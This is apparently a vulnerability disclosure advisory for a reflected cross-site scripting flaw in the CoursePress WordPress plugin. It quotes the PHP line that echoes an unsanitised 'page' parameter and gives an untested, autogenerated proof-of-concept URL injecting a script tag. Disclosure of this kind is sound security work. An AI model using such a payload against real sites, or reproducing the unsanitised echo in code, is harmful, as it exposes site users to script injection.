Advisory #: 702
Title: Reflected XSS in wordpress plugin coursepress v1.2.6.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/coursepress
Downloads: 35390
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: coursepress
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./coursepress/includes/admin-pages/certificates.php: 58: <a href="admin.php?page=<?php echo $_GET['page']; ?>" class="add-new-h2"><?php _e( 'Back', 'coursepress' ); ?></a><?php } else { ?> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./coursepress/includes/admin-pages/certificates.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/coursepress/includes/admin-pages/certificates.php?page="><script>alert(1);</script><"